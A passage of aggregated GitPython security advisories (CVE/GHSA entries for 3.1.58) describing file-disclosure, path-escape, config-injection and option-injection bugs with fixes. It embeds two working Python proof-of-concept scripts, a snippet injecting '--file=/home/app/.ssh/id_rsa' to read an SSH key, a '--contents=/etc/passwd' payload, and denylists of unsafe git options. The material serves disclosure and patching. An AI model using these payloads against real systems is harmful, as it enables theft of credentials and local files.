already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` ("Blind local file inclusion", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`'s include resolution). ##### Preconditions - Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches `repo.submodules` — one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout. - No authentication/role requirement inside GitPython itself. ##### Evidence - `git/config.py` — `GitConfigParser.__init__` defaults `merge_includes=True`. - `git/objects/submodule/base.py:273` — `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`'s `Repo.config_writer()`, never this call site. - `git/config.py` `_included_paths()`/`read()` (~630-685) — absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path. - `git/config.py` `_read()` (~493-498) — raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`'s own `__str__` behavior. - `Submodule.iter_items()` catches only `(IOError, BadName)` — `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed. - PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`. ##### False-positive check (adversarial re-read) - **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No — that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`'s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` — an entirely different module and code path. This finding discloses actual file content via `git/config.py`'s include-directive resolution. - **Is the impact overstated given only one line leaks?** No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow. - **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No — confirmed by reading `Submodule.iter_items()`'s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught. - Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently against both a throwaway secret file and `/etc/passwd`. ##### Remediation Pass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) — `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open. ##### Confidence High. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`). ##### Proof-of-Concept source (`gitpython-003-poc.py`) ```python #!/usr/bin/env python3 """ GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped inside a cloned repository -- can contain `[include] path = <any local path>`. `Submodule._config_parser()` builds the parser used for `repo.submodules` (and other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)` without passing `merge_includes=False`, so the class default `merge_includes=True` is inherited. GitConfigParser then opens the target file; if it isn't valid git-config syntax (true of virtually any non-gitconfig file), Python's `configparser.MissingSectionHeaderError` embeds the file's first line verbatim in its exception message, which propagates out of the ordinary, read-only `repo.submodules` call -- a non-blind local file content disclosure primitive. Run: PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file> Benign: reads only the given <target-file> (defaults to a throwaway secret file created under <workdir> if omitted) and never writes/exfiltrates it anywhere except printing it locally to prove the primitive. No destructive action. """ import os import subprocess import sys def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc" target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt") attacker_repo = os.path.join(workdir, "attacker-repo") dest = os.path.join(workdir, "dest") for p in (attacker_repo, dest): os.makedirs(p, exist_ok=True) if not os.path.exists(target_file): os.makedirs(os.path.dirname(target_file), exist_ok=True) with open(target_file, "w") as f: f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n") subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True) subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True) subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True) with open(os.path.join(attacker_repo, "file.txt"), "w") as f: f.write("hello\n") with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f: f.write( '[submodule "totally-normal-dep"]\n' "\tpath = vendor/dep\n" "\turl = https://example.com/dep.git\n" "[include]\n" "\tpath = %s\n" % target_file ) subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True) subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True) import git # gitpython under test import configparser repo = git.Repo.clone_from(attacker_repo, dest) try: subs = list(repo.submodules) print("NOT VULNERABLE: no exception raised, submodules =", subs) sys.exit(1) except configparser.MissingSectionHeaderError as e: msg = str(e) print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:") print(msg) with open(target_file) as f: first_line = f.readline().rstrip("\n") if first_line in msg: print("Confirmed: target file's first line is present verbatim in the exception message.") sys.exit(0) else: print("NOT VULNERABLE: exception message did not contain the expected content") sys.exit(1) if __name__ == "__main__": main() ``` #### Severity - CVSS Score: 8.6 / 10 (High) - Vector String: `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q) - [https://nvd.nist.gov/vuln/detail/CVE-2026-78675](https://nvd.nist.gov/vuln/detail/CVE-2026-78675) - [https://github.com/gitpython-developers/GitPython/pull/2211](https://github.com/gitpython-developers/GitPython/pull/2211) - [https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c](https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59) - [https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml) - [https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules](https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-7833-fr7j-v32q) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination [CVE-2026-78677](https://nvd.nist.gov/vuln/detail/CVE-2026-78677) / [GHSA-8mcc-hrx5-hvxc](https://github.com/advisories/GHSA-8mcc-hrx5-hvxc) / PYSEC-2026-3787 <details> <summary>More information</summary> #### Details - **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense) - **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs. - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ##### Reachability `Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` — *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.). `git clone` also accepts `--separate-git-dir=<path>`, which redirects the repository's entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: <path>`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *"Redirects the repository metadata to a caller-controlled path"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit: ``` :param allow_unsafe_options: Allow unsafe options to be used, such as ``--template`` and ``--separate-git-dir``. ``` i.e. the maintainers' own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**: ```python unsafe_git_clone_options = [ "--upload-pack", "-u", "--config", "-c", "--template", "--bundle-uri", ] ``` So any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list — gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`. ##### Root cause Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed). ##### Exploit path 1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `"separate-git-dir"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`. 2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` — no match, no `UnsafeOptionError` raised. 3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=<attacker path>` and GitPython executes `git clone -v --separate-git-dir=<attacker path> -- <url> <dest>` via `subprocess` (no shell). 4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path — which can be **any path outside the intended clone destination** that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it. ##### Impact Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely: - Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to. - If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there — an integrity violation of a resource outside the intended destination. - Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for `--template` in `GHSA-9rj7-rf2p-w77r`. ##### Preconditions - The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython's own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present. ##### Evidence - `git/repo/base.py:145-151` — `unsafe_git_init_options` includes `"--separate-git-dir"` with the comment "Redirects the repository metadata to a caller-controlled path". - `git/repo/base.py:153-165` — `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `"--separate-git-dir"`. - `git/repo/base.py:1450-1452` — docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate. - `git/repo/base.py:1495-1518` — `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` — which, per the list above, does not flag it. - PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`. ##### False-positive check (adversarial re-read) - **Is there a value-level check that would still stop this?** No — `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`'s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths). - **Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No — confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path — `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap. - **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. **CONFIRMED.** ##### Remediation Add `"--separate-git-dir"` (and its `-` alias if git ever adds one — currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list. ##### Confidence High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found. ##### Proof-of-Concept source (`gitpython-001-poc.py`) ```python #!/usr/bin/env python3 """ GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a full git directory (config, hooks/, objects/, refs/, ...) to an attacker-controlled path OUTSIDE the intended destination directory, with allow_unsafe_options left at its default of False. Run against the GitPython source tree under test, e.g.: PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir> Benign: only writes/reads inside the given workdir. No destructive/exfiltrating payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option or the write does not escape the destination directory. """ import os import sys import subprocess def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc" src = os.path.join(workdir, "src") dest = os.path.join(workdir, "dest") sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL") target_gitdir = os.path.join(sentinel_dir, "redirected.git") for p in (src, dest, sentinel_dir): os.makedirs(p, exist_ok=True) # Minimal benign source repo to clone from. subprocess.run(["git", "init", "-q", "-b", "main", src], check=True) subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True) subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True) with open(os.path.join(src, "file.txt"), "w") as f: f.write("hello\n") subprocess.run(["git", "-C", src, "add", "file.txt"], check=True) subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True) import git # gitpython under test print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options) assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, ( "guard now includes --separate-git-dir; PoC no longer applicable, target patched" ) try: repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir) except git.exc.UnsafeOptionError as e: print("NOT VULNERABLE: blocked by UnsafeOptionError:", e) sys.exit(1) wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile( os.path.join(target_gitdir, "config") ) gitlink_points_outside = False with open(os.path.join(dest, ".git")) as f: gitlink = f.read().strip() gitlink_points_outside = target_gitdir in gitlink print("repo.git_dir =", repo.git_dir) print("wrote git directory outside dest (sentinel) =", wrote_outside) print("dest/.git gitlink points outside dest =", gitlink_points_outside) if wrote_outside and gitlink_points_outside: print("VULNERABLE: git directory created at attacker-controlled path " f"outside the clone destination: {target_gitdir}") sys.exit(0) else: print("NOT VULNERABLE: sentinel not observed") sys.exit(1) if __name__ == "__main__": main() ``` #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc) - [https://nvd.nist.gov/vuln/detail/CVE-2026-78677](https://nvd.nist.gov/vuln/detail/CVE-2026-78677) - [https://github.com/gitpython-developers/GitPython/pull/2210](https://github.com/gitpython-developers/GitPython/pull/2210) - [https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d](https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59) - [https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml) - [https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir](https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-8mcc-hrx5-hvxc) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-78675](https://nvd.nist.gov/vuln/detail/CVE-2026-78675) / [GHSA-7833-fr7j-v32q](https://github.com/advisories/GHSA-7833-fr7j-v32q) / PYSEC-2026-3785 <details> <summary>More information</summary> #### Details GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message. #### Severity - CVSS Score: 7.8 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules](https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3785) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-78676](https://nvd.nist.gov/vuln/detail/CVE-2026-78676) / [GHSA-284h-m62q-gf8w](https://github.com/advisories/GHSA-284h-m62q-gf8w) / PYSEC-2026-3786 <details> <summary>More information</summary> #### Details GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation. #### Severity - CVSS Score: 9.3 / 10 (Critical) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection](https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3786) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-78677](https://nvd.nist.gov/vuln/detail/CVE-2026-78677) / [GHSA-8mcc-hrx5-hvxc](https://github.com/advisories/GHSA-8mcc-hrx5-hvxc) / PYSEC-2026-3787 <details> <summary>More information</summary> #### Details GitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir](https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3787) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-78678](https://nvd.nist.gov/vuln/detail/CVE-2026-78678) / [GHSA-5xxx-qhh7-9287](https://github.com/advisories/GHSA-5xxx-qhh7-9287) / PYSEC-2026-3788 <details> <summary>More information</summary> #### Details GitPython versions before 3.1.59 contain an incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options, allowing attackers to read arbitrary files by passing these options to Repo.blame(). Attackers can supply revision values like --contents=/etc/passwd to leak file contents through the blame result returned to the caller. #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-blame](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-blame) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-5xxx-qhh7-9287](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-5xxx-qhh7-9287) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3788) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251) [CVE-2026-78679](https://nvd.nist.gov/vuln/detail/CVE-2026-78679) / [GHSA-3wxw-xv34-2frg](https://github.com/advisories/GHSA-3wxw-xv34-2frg) / PYSEC-2026-3837 <details> <summary>More information</summary> #### Details ##### Summary `TagReference.create()` forwards a caller-influenced positional `reference` value into `git tag` without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit `3af0c251` (the fix for GHSA-3f7w-8rr8-f37f's tag instance). ##### Root Cause The fix `3af0c251` added `unsafe_git_tag_options = ["--file","-F"]` and a guard call, but the guard is `Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...)` at `git/refs/tag.py:139` — it passes an EMPTY args list and inspects **kwargs only**. The dangerous values `path` and `reference` are POSITIONALS (`args = (path, reference)`, tag.py:156), placed before any `--`. A user-influenced `reference="--file=<path>"` therefore reaches `git tag` as the exact `--file` option the fix intended to block, creating an annotated tag whose message is the file's contents. ##### Impact Arbitrary local file read at the privileges of the host process; contents returned in-band via `tagref.tag.message`. Requires the embedding application to forward a caller-influenced `reference` value into `TagReference.create()` (pure VALUE control — the CVE-2026-42215 threat model). Default `allow_unsafe_options=False`. ##### Proof of Concept ```python from git import TagReference t = TagReference.create(repo, "vpwn", reference="--file=/home/app/.ssh/id_rsa") print(t.tag.message) # contents of the file ``` ##### Attack Chain 1. Entry: app calls `TagReference.create(repo, name, reference=<user>)` with `reference="--file=/home/app/.ssh/id_rsa"`. 2. Check: `Git.check_unsafe_options(_option_candidates([], kwargs), ["--file","-F"])` @&#8203; tag.py:137-141. Guard: denylist includes `--file`/`-F`. Bypass proof: `_option_candidates` receives `args=[]` → the positional `reference` is never a candidate (the kwarg spelling `file="…"` IS blocked; only the positional escapes). 3. Sink: `repo.git.tag(*args, **kwargs)` @&#8203; tag.py:158 → no `--`. argv (observed): `['git','tag','-f','vpwn','--file=<secret>']`. 4. Impact: annotated tag created; `tagref.tag.message` == file contents (arbitrary file read). ##### Bypass Evidence Independently reproduced (independent test harness, git 2.43.0, default `allow_unsafe_options=False`): `TagReference.create(repo,'vp','--file=<secret>')` → PASSED; `tag.message == 'GATE_SECRET_LINE_A\nGATE_SECRET_LINE_B'`. Control: `TagReference.create(..., file='<secret>')` → `UnsafeOptionError: --file is not allowed`. Fix-commit read: `3af0c251` adds `_option_candidates([], kwargs)` (empty args → positional never a candidate). ##### Affected Versions `GitPython <= 3.1.58` (sink present verbatim on the latest release tag; `git diff 3.1.57..HEAD` touches only test files). ##### Suggested Fix Include the positional `reference` (and `path`) in the option-candidate list passed to `check_unsafe_options`, or place a `--` separator before the positional arguments in `TagReference.create()`. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg) - [https://nvd.nist.gov/vuln/detail/CVE-2026-78679](https://nvd.nist.gov/vuln/detail/CVE-2026-78679) - [https://github.com/gitpython-developers/GitPython/pull/2208](https://github.com/gitpython-developers/GitPython/pull/2208) - [https://github.com/gitpython-developers/GitPython/commit/1b0d2d9b91575f7db44ef4ff58ac37fc9335e5f6](https://github.com/gitpython-developers/GitPython/commit/1b0d2d9b91575f7db44ef4ff58ac37fc9335e5f6) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59) - [https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create](https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create) - [https://pypi.org/project/gitpython](https://pypi.org/project/gitpython) - [https://github.com/advisories/GHSA-3wxw-xv34-2frg](https://github.com/advisories/GHSA-3wxw-xv34-2frg) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3837) and the 